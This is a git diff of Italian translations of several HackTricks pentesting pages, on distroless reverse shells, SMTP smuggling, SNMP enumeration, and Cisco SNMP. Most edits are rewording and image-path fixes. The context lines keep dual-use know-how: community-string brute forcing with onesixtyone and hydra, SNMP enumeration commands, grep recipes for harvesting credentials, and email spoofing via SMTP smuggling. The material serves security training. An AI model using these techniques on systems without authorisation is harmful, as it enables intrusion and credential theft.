 L'obiettivo dei container distroless è **ridurre la superficie di attacco dei container eliminando componenti non necessari** e minimizzando il numero di vulnerabilità che possono essere sfruttate.
 
 ### Reverse Shell
 
-In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
+In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell normale. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
 
 {% hint style="warning" %}
 Pertanto, **non** sarai in grado di ottenere una **reverse shell** o **enumerare** il sistema come fai di solito.
 {% endhint %}
 
-Tuttavia, se il container compromesso sta eseguendo ad esempio un'app web Flask, allora Python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo Node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
+Tuttavia, se il container compromesso sta eseguendo ad esempio un'app Flask, allora Python è installato, e quindi puoi ottenere una **reverse shell Python**. Se sta eseguendo Node, puoi ottenere una reverse shell Node, e lo stesso vale per quasi qualsiasi **linguaggio di scripting**.
 
 {% hint style="success" %}
 Utilizzando il linguaggio di scripting potresti **enumerare il sistema** utilizzando le capacità del linguaggio.
@@ -127,20 +127,20 @@ Utilizzando il linguaggio di scripting potresti **enumerare il sistema** utilizz
 Se non ci sono protezioni **`read-only/no-exec`** potresti abusare della tua reverse shell per **scrivere nel file system i tuoi binari** e **eseguirli**.
 
 {% hint style="success" %}
-Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **precedenti tecniche di esecuzione in memoria per bypassarle**.
+Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **tecniche di esecuzione in memoria precedenti per bypassarle**.
 {% endhint %}
 
 Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere reverse shell di linguaggi di scripting ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -148,7 +148,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}

network-services-pentesting/pentesting-smtp/smtp-smuggling.md

@@ -1,8 +1,8 @@
 # SMTP Smuggling
 
 {% hint style="success" %}
-Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -21,9 +21,9 @@ Questo tipo di vulnerabilità è stata [**originariamente scoperta in questo pos
 
 ### Perché
 
-Questo accade perché nel protocollo SMTP, i **dati del messaggio** da inviare nell'email sono controllati da un utente (attaccante) che potrebbe inviare dati appositamente elaborati abusando delle differenze nei parser che contrabbanderanno email extra nel destinatario. Dai un'occhiata a questo esempio illustrato dal post originale:
+Questo accade perché nel protocollo SMTP, i **dati del messaggio** da inviare nell'email sono controllati da un utente (attaccante) che potrebbe inviare dati appositamente progettati abusando delle differenze nei parser che contrabbanderanno email extra nel ricevitore. Dai un'occhiata a questo esempio illustrato dal post originale:
 
-<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
 
 ### Come
 
@@ -32,7 +32,7 @@ Per sfruttare questa vulnerabilità, un attaccante deve inviare alcuni dati che
 I ricercatori hanno scoperto che diversi **server in entrata considerano caratteri diversi come la fine dei dati** del messaggio email che i server in uscita non considerano.\
 Ad esempio, una normale fine dei dati è `\r\n.\r`. Ma se il server SMTP in entrata supporta anche `\n.`, un attaccante potrebbe semplicemente aggiungere **quelli dati nella sua email e iniziare a indicare i comandi SMTP** di nuove email da contrabbandare proprio come nell'immagine precedente.
 
-Ovviamente, questo potrebbe funzionare solo se il **server SMTP in uscita non tratta anche questi dati** come la fine dei dati del messaggio, perché in quel caso vedrà 2 email invece di solo 1, quindi alla fine questa è la desincronizzazione che viene abusata in questa vulnerabilità.
+Ovviamente, questo potrebbe funzionare solo se il **server SMTP in uscita non tratta anche questi dati** come la fine dei dati del messaggio, perché in tal caso vedrà 2 email invece di solo 1, quindi alla fine questa è la desincronizzazione che viene abusata in questa vulnerabilità.
 
 Dati di potenziale desincronizzazione:
 
@@ -46,8 +46,8 @@ Nota anche che lo SPF viene eluso perché se contrabbandi un'email da `admin@out
 * [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
 
 {% hint style="success" %}
-Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-snmp/README.md

@@ -1,8 +1,8 @@
 # 161,162,10161,10162/udp - Pentesting SNMP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -41,14 +41,14 @@ I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax No
 
 **Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di una **Management Information Base (MIB)**.
 
-I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
+I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globale.
 
 Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotto**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard.
 
 ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
 
 Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite in MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati sui processi...)
+Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite in MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati dei processi...)
 
 ### **Esempio di OID**
 
@@ -92,11 +92,11 @@ Ci sono 2 versioni importanti di SNMP:
 
 ### Community Strings
 
-Come accennato in precedenza, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
+Come accennato in precedenza, **per accedere alle informazioni memorizzate nella MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
 Ci sono **2 tipi di community strings**:
 
 * **`public`** principalmente **funzioni di sola lettura**
-* **`private`** **Leggi/Scrivi** in generale
+* **`private`** **Lettura/Scrittura** in generale
 
 Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\
 Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\*
@@ -117,7 +117,7 @@ Per **indovinare la community string** potresti eseguire un attacco a dizionario
 
 ## Enumerare SNMP
 
-Si consiglia di installare quanto segue per vedere cosa significa **ogni OID raccolto** dal dispositivo:
+È consigliato installare quanto segue per vedere cosa significa **ogni OID raccolto** dal dispositivo:
 ```bash
 apt-get install snmp-mibs-downloader
 download-mibs
@@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
 
 braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
 ```
-Grazie a query estese (download-mibs), è possibile enumerare ancora di più sul sistema con il seguente comando :
+Grazie a query estese (download-mibs), è possibile enumerare ulteriormente il sistema con il seguente comando :
 ```bash
 snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
@@ -169,9 +169,9 @@ Una serie di **valori della Management Information Base (MIB)** sono utilizzati
 
 * **Processi di sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
 * **Programmi in esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
-* **Percorso dei processi**: Per determinare da dove viene eseguito un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
+* **Percorso dei processi**: Per determinare da dove sta girando un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
 * **Unità di archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
-* **Nome del software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`.
+* **Nome del software**: Per identificare il software installato su un sistema, si impiega `1.3.6.1.2.1.25.6.3.1.2`.
 * **Account utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente di tracciare gli account utente.
 * **Porte locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte locali TCP, fornendo informazioni sulle connessioni di rete attive.
 
@@ -193,7 +193,7 @@ Se hai la **stringa** che ti consente di **scrivere valori** all'interno del ser
 
 ## **SNMP Massivo**
 
-[Braa ](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
+[Braa ](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
 
 Braa implementa il proprio stack SNMP, quindi non ha bisogno di librerie SNMP come net-snmp.
 
@@ -213,11 +213,11 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
 ```
 ### **Identificare la Stringa Privata**
 
-Un passaggio cruciale implica l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **grep command**:
+Un passaggio cruciale implica l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**:
 ```bash
 grep -i "trap" *.snmp
 ```
-### **Nome utente/Password**
+### **Nomi utente/Password**
 
 I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero accidentalmente includere password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi:
 ```bash
@@ -243,7 +243,7 @@ Se c'è un ACL che consente solo ad alcuni IP di interrogare il servizio SMNP, p
 * snmpd.conf
 * snmp-config.xml
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
 
 ```
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -295,7 +295,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
 
 </details>
 {% endhint %}

network-services-pentesting/pentesting-snmp/cisco-snmp.md

@@ -1,8 +1,8 @@
 # Cisco SNMP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 
 ## Pentesting Cisco Networks
 
-**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, con l'obiettivo di infiltrarsi nei dispositivi di rete.
+**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, mirato a infiltrarsi nei dispositivi di rete.
 
-Uno strumento pratico per eseguire tali attacchi di brute-force è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
+Uno strumento pratico per eseguire tali attacchi di forza bruta è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
 ```bash
 onesixtyone -c communitystrings -i targets
 ```
@@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -68,7 +68,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}

network-services-pentesting/pentesting-web/README.md

@@ -10,12 +10,12 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -52,13 +52,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 * [ ] Qualche **scanner specializzato** da eseguire (come wpscan)?
 * [ ] Avvia **scanner di uso generale**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti.
 * [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **scansione SSL/TLS** (se HTTPS).
-* [ ] Inizia a **spiderare** la pagina web: È tempo di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati.** Controlla anche eventuali **risultati speciali**.
+* [ ] Inizia a **spiderare** la pagina web: È tempo di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati.** Inoltre, controlla eventuali **risultati speciali**.
 * [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderata._
 * [ ] **Brute-Forcing delle Directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
 * [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._
 * [ ] **Controllo dei Backup**: Verifica se riesci a trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni.
 * [ ] **Brute-Force dei parametri**: Prova a **trovare parametri nascosti**.
-* [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input dell'utente**, controlla tutti i tipi di **vulnerabilità** ad essi correlate.
+* [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad essi correlate.
 * [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
 ## Server Version (Vulnerable?)
@@ -115,14 +115,14 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
 * [**WebDav**](put-method-webdav.md)
 * [**Werkzeug**](werkzeug.md)
 * [**Wordpress**](wordpress.md)
-* [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
+* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
 
-_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\
+_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** in **porte**, **cartelle** e **sottodomini** diversi._\
 Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
 
 ### Revisione del codice sorgente
 
